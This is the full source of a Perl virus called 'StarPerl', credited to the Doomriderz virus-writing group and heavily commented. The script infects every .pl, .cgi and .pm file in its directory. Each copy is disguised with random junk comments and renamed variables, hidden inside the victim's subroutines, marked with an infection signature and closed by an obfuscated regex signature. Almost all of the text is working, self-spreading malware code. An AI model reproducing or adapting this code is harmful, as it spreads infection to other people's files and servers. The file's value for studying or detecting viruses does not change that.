%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %|\|\||\||\|\|\|\|\|\|\|\|\|\||\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|% %|\~\|\|\|\|\|\|\|~|\|\|\|\|~||\|\|\|\|\|\|\|~|\|\|\|\|~|\|\|~|\|\|\|\|\|\|\|\|\|\~\|% %|\|\~\|/######]\|\#######\|\##\|\~\##|\#######|\|#########\|\#|#|#|\|##|\~\|##|\|\|\% %|\|\|\|##\|\|\|~|\#\|\|\|\|\#\#\|\|#|~|#||\|~|\|\#\|\#|\~#||\|\#|\~\|\|#|\|#|\|\~\|\% %|\|\|~\#|\|~|\|\|\#######\~\#\|#|\|#|\|#######\|\|\|\#|\|\|\|\|#|\|\|\|\/#\\~\|~|\|\% %|\|~||\#|\|#|#|#|\#######\|\#\|\#\|#\|\#######|\|\|~\#|~\|\|~|\#\|\|\~\|#|#\|\|\|\|\% %|\|\||\#|\|\|#|\|\#\|\|~|\|\#|\|\#\#|\|#|\|~|\|\~\|\\#||\~\|\|\#\|~|\|\#\|\#\|\|~|\|% %|\|\~|\#######|\|\#######|\|##|~|\##\|\#######\|\|\|\#|\|\|\|#|#|#|\|##|\|~|##|\|\||% %|\~\|\|\|\|\|\|\~\|\|\|\|\~\||\|\|\|\~\|\|\|\|\|~|\|\|\|~|\|\|\|\|~|\|\|\|\|\|\|\~\|% %|\|\|\|\|\|\|\|\|\|\|\|\|\|\||\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% #!/usr/bin/perl ############################################ # # # StarPerl By Genetix/Doomriderz team # # 31/10/2006 halloween! # # # ############################################ ### EPO/Polymorphic(trash&var changing)/pl/cgi & perl module infection ### #free0n is mean Mean MeAn MEAN MeAn!!! #StarPerl Addon #start @StarArray = ("StarHost","StarCode","StarArray","StarCharacters","StarGuestnames","StarElement","dirStarGuest","StarFilter","NewStarVar","StarRND","StarFound","StarSig","StarCheck","JoinStar", "StarInject", "StarJunk"); @StarCharacters = ( "A" .. "Z", "a" .. "z"); opendir(DIRHANDLE,"."); #Open current directory @StarGuestnames=(sort readdir(DIRHANDLE)); #Sort files foreach $dirStarGuest (@StarGuestnames) { #start looping through array of files if ($dirStarGuest =~ m/\.(pl|cgi|pm)$/) { #check if its infectable open(StarCheck,$dirStarGuest); #open a file for reading $StarSig=join("",); #join lines close(StarCheck); #close it if (index($StarSig,"#StarPerl Addon") == -1) { #see if it's already infected open(StarHost,__FILE__); #open self while () { #look through the code if (/#start/ .. /^#end/) { #find start and end of the virus if ($_ =~ /^##/) #check if the line starts as a comment {substr($_,0,length($_))='';} #take away the comment if (int(rand 3)+1==2) { #get a random number for ($i=0;$i<=int(rand 50)+20;$i++) #for loop with random length {$StarRND=int(rand 41); #more random numbers $StarJunk.=@StarCharacters[$StarRND];} #pick random letters from char array for junk $StarCode.="\n##$StarJunk\n";$StarJunk=""; #append trash to the future output lol } $StarCode.=$_; #append normal code (mixed with trash) } } close(StarHost); #trashing has finished foreach $StarElement (@StarArray) { #start looping through array of variables _ #used in this virus for ($i=0;$i<=int(rand 12)+6;$i++) { #for loop with random length $StarRND=int(rand 41); #more random numbers $NewStarVar.=@StarCharacters[$StarRND];} #rand chars for variable changing $StarCode =~ s/$StarElement/$NewStarVar/g; #replace old with new variables $NewStarVar=""; #empty the variable so it can be used later } open(StarFound,$dirStarGuest); #open a target (victim) while (my $StarFilter=) { #start scanning the code if ($StarFilter =~ /sub/) { #look for a sub routine to hide inside (EPO) $JoinStar.="$StarFilter\n$StarCode\n"; #find beginning of "sub" and add virus inside it next; #erm yea.. } $JoinStar.=$StarFilter; #append some more lines to build the EPO affect } close(StarFound); #clooosed open(StarInject,">$dirStarGuest"); #new we can infect! yay! print StarInject "#StarPerl Addon \n $JoinStar"; #add the sig first then write the EPO close(StarInject); #BYEEE ''=~('(?{'.('+)@@+{'^'[[)._[').'"'.(';_@_+@^|'^'|:.:_)&^').',$/})') #My signature. } } } #end